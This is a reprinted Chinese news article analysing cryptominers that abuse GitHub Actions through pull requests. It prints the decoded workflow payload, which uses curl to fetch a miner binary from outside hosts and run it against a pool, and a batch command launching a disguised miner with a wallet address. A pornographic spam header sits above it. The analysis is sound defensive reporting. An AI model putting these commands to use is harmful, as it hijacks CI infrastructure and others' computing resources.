日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢(xún)
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問(wèn)題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營(yíng)銷(xiāo)解決方案
黑客用GitHub服務(wù)器挖礦,三天跑了3萬(wàn)個(gè)任務(wù),代碼驚現(xiàn)中文

本文經(jīng)AI新媒體量子位(公眾號(hào)ID:QbitAI)授權(quán)轉(zhuǎn)載,轉(zhuǎn)載請(qǐng)聯(lián)系出處。

加密貨幣價(jià)格一路高漲,顯卡又買(mǎi)不起,怎么才能“廉價(jià)”挖礦?

黑客們動(dòng)起了歪心思——“白嫖”服務(wù)器。

給PC植入挖礦木馬,已經(jīng)無(wú)法滿(mǎn)足黑客日益增長(zhǎng)的算力需求,如果能用上GitHub的服務(wù)器,還不花錢(qián),那當(dāng)然是極好的。

而且整個(gè)過(guò)程可能比侵入PC還容易,甚至都不需要程序員上當(dāng)受騙。只需提交Pull Request(PR),即使項(xiàng)目管理者沒(méi)有批準(zhǔn),惡意挖礦代碼依然能夠執(zhí)行。

原理也很簡(jiǎn)單,利用GitHub Action的自動(dòng)執(zhí)行工作流功能,輕松將挖礦程序運(yùn)行在GitHub的服務(wù)器上。

早在去年11月,就已經(jīng)有人發(fā)現(xiàn)黑客這種行為。更可怕的是,半年過(guò)去了,這種現(xiàn)象依然沒(méi)得到有效制止。

GitHub心里苦啊,雖然可以封禁違規(guī)賬號(hào),但黑客們玩起了“游擊戰(zhàn)術(shù)”,不斷更換馬甲號(hào)逃避“追捕”,讓官方疲于奔命。

就在幾天前,一位荷蘭的程序員還發(fā)現(xiàn),這種攻擊方式依然存在,甚至代碼里還出現(xiàn)了中文。

那么,這些黑客是如何植入挖礦程序的呢?一切要從發(fā)現(xiàn)異常的法國(guó)程序員Tib說(shuō)起。

PR異常讓程序員起疑心

去年11月,Tib發(fā)現(xiàn),自己在一個(gè)沒(méi)有參加的repo上收到了PR請(qǐng)求。而且在14個(gè)小時(shí)內(nèi)就收到了7個(gè),全是來(lái)自一個(gè)“y4ndexhater1”的用戶(hù),沒(méi)有任何描述內(nèi)容。

令人感到奇怪的是,這并不是一個(gè)熱門(mén)項(xiàng)目,Star數(shù)量為0。

打開(kāi)項(xiàng)目主頁(yè)發(fā)現(xiàn),內(nèi)容是Perl項(xiàng)目的github action、circle ci、travis-ci示例代碼集合,整個(gè)README文檔一團(tuán)糟,根本不像一個(gè)正經(jīng)的開(kāi)源項(xiàng)目。

然而就是這個(gè)混亂又冷門(mén)的repo,居然在3天里被fork了2次。

一切都太不正常了,讓人嗅到了一絲不安的氣息。

嘗試“作死”運(yùn)行

本著“作死”的精神,Tib決定一探究竟。

經(jīng)過(guò)那位可疑用戶(hù)的操作,Tib所有的action都被刪除,在工作流里被加入了一個(gè)ci.yml文件,內(nèi)容如下:

當(dāng)Tib看到eval “$(echo “YXB0IHVwZGF0ZSAt這一行內(nèi)容后,立刻從沙發(fā)上跳了起來(lái),他意識(shí)到事情的嚴(yán)重性:有人在入侵他的GitHub個(gè)人資料!

這串看似神秘的字符,其實(shí)是base64編碼,經(jīng)過(guò)翻譯后,得到了另一段代碼:

apt update -qq
apt install -y curl git jq
curl -Lfo prog https://github.com/bhriscarnatt/first-repo/releases/download/a/prog || curl -Lfo prog https://transfer.sh/OSPjK/prog
ip=$(curl -s -H 'accept: application/dns-json' 'https://dns.google/resolve?name=poolio.magratmail.xyz&type=A' | jq -r '.Answer[0].data')
chmod u+x prog
timeout 4h ./prog -o "${ip}:3000" -u ChrisBarnatt -p ExplainingComputers --cpu-priority 5 > /dev/null

前面兩行不必解釋?zhuān)幸馑嫉牡胤綇牡谌虚_(kāi)始,它會(huì)下載一個(gè)prog二進(jìn)制文件。

為了安全起見(jiàn),Tib先嘗試獲取信息而不是執(zhí)行,得到了它的十六進(jìn)制代碼。

$ objdump -s --section .comment prog
prog: file format elf64-x86-64
Contents of section .comment:
0000 4743433a 2028416c 70696e65 2031302e GCC: (Alpine 10.
0010 322e315f 70726531 29203130 2e322e31 2.1_pre1) 10.2.1
0020 20323032 30313230 3300 20201203.

Tib也考慮過(guò)反編譯,但是沒(méi)有成功。

不入虎穴,焉得虎子,Tib決定嘗試運(yùn)行一下。

要執(zhí)行這一大膽而又作死的任務(wù),防止“試試就逝世”,Tib首先斷開(kāi)了電腦的網(wǎng)絡(luò)鏈接,并選擇在Docker容器中運(yùn)行。

答案終于揭曉,原來(lái)這個(gè)prog是一個(gè)名為XMRig的挖礦程序。

$ ./prog --version
XMRig 6.8.1
built on Feb 3 2021 with GCC 10.2.1
features: 64-bit AES
libuv/1.40.0
OpenSSL/1.1.1i
hwloc/2.4.0

當(dāng)時(shí)XMRig的最新版恰好是6.8.1,和上面的版本參數(shù)符合。不過(guò)用SHA256檢測(cè)后發(fā)現(xiàn),這個(gè)prog并不完全是XMRig,Tib預(yù)測(cè)它可能是一個(gè)修改版。

實(shí)際上,可能被攻擊的不止GitHub,安全公司Aqua推測(cè),像Docker Hub、Travis CI、Circle CI這些SaaS軟件開(kāi)發(fā)環(huán)境,都可能遭受這類(lèi)攻擊。

在這個(gè)攻擊過(guò)程中,會(huì)派生一個(gè)合法的repo,負(fù)責(zé)將惡意的GitHub Action添加到原始代碼。然后,黑客再向原始repo提交一個(gè)PR,將代碼合并回原始repo。

下載的挖礦程序會(huì)偽裝成prog或者gcc編譯器,通過(guò)提交PR在項(xiàng)目執(zhí)行自動(dòng)化工作流。此時(shí)服務(wù)器將運(yùn)行偽裝后的挖礦程序。

這些攻擊者僅一次攻擊就可以運(yùn)行多達(dá)100個(gè)挖礦程序,從而給GitHub的服務(wù)器帶來(lái)了巨大的計(jì)算量。

據(jù)Aqua估計(jì),僅在三天的時(shí)間里,挖礦黑客就在GitHub上有超過(guò)2.33萬(wàn)次commit、在Docker Hub上5.8萬(wàn)次build,轉(zhuǎn)化了大約3萬(wàn)個(gè)挖礦任務(wù)。

可以防范但很難根除

這種攻擊甚至不需要被攻擊的倉(cāng)庫(kù)管理者接受惡意Pull Request。

只要在.github/workflows目錄里面的任意.yml文件中配置了在收到Pull Request時(shí)執(zhí)行,來(lái)自黑客的Action就會(huì)自動(dòng)被執(zhí)行。

如果你沒(méi)有使用這個(gè)功能,那就不用擔(dān)心啦,黑客大概也不會(huì)找上你。

需要用到這個(gè)功能的話(huà),可以設(shè)置成只允許本地Action或只允許Github官方及特定作者創(chuàng)建的Action。

將情況反饋給客服后,GitHub會(huì)對(duì)惡意賬號(hào)進(jìn)行封號(hào)和關(guān)閉相關(guān)Pull Request的操作。

但惡意攻擊很難被根除,黑客只需要注冊(cè)新的賬號(hào)就可以繼續(xù)白嫖服務(wù)器資源。

攻擊還在繼續(xù)

我們從最近一次攻擊中發(fā)現(xiàn),黑客將挖礦程序上傳到GitLab并偽裝成包管理工具npm。

打開(kāi)這個(gè)可疑的nani.bat,可以看到:

npm.exe --algorithm argon2id_chukwa2
--pool turtlecoin.herominers.com:10380
--wallet TRTLv3ZvhUDDzXp9RGSVKXcMvrPyV5yCpHxkDN2JRErv43xyNe5bHBaFHUogYVc58H1Td7vodta2fa43Au59Bp9qMNVrfaNwjWP
--password xo

這一次黑客挖的是烏龜幣*(TurtleCoin)*,可使用CPU計(jì)算。按當(dāng)前價(jià)格挖出四千多個(gè)幣才值1美元。

Github Actions的免費(fèi)服務(wù)器可以提供英特爾E5 2673v4的兩個(gè)核心,7GB內(nèi)存。

大致估算單臺(tái)運(yùn)行一天只能獲利幾美分,而且黑客的挖礦程序通常只能在被發(fā)現(xiàn)之前運(yùn)行幾個(gè)小時(shí)。比如Docker Hub就把自動(dòng)build的運(yùn)行時(shí)間限制在2個(gè)小時(shí)。

不過(guò)蚊子再小也是肉,黑客通過(guò)尋找更多接受公開(kāi)Action的倉(cāng)庫(kù)以及反復(fù)打開(kāi)關(guān)閉Pull Request就能執(zhí)行更多的挖礦程序。

△同一黑客賬號(hào)至少攻擊了95個(gè)GitHub倉(cāng)庫(kù)

正如Twitter用戶(hù)Dave Walker所說(shuō)的,如果你提供免費(fèi)的計(jì)算資源,就要做好會(huì)被攻擊和濫用的覺(jué)悟。挖礦有利可圖的情況下這是不可避免的。

據(jù)報(bào)道,受害的不止GitHub,還有Docker Hub、Travis CI以及Circle CI等提供類(lèi)似服務(wù)的持續(xù)集成平臺(tái)。

這一亂象不知何時(shí)才能結(jié)束,唯一的好消息可能就是,挖礦的黑客似乎只是針對(duì)GitHub提供的服務(wù)器資源,而不會(huì)破壞你的代碼。

但是GitHub Action的漏洞不止這一個(gè)。還有方法能使黑客讀寫(xiě)開(kāi)發(fā)者的倉(cāng)庫(kù),甚至可以讀取加密的機(jī)密文件。

去年7月,Google Project Zero團(tuán)隊(duì)就已向GitHub通報(bào)漏洞。但在給出的90天修復(fù)期限+延長(zhǎng)14天后,GitHub仍未能有效解決。

對(duì)此,我們的建議是,不要輕易相信GitHub市場(chǎng)里的Action作者,不要交出你的密匙。


當(dāng)前標(biāo)題:黑客用GitHub服務(wù)器挖礦,三天跑了3萬(wàn)個(gè)任務(wù),代碼驚現(xiàn)中文
文章地址:http://m.5511xx.com/article/cojdigp.html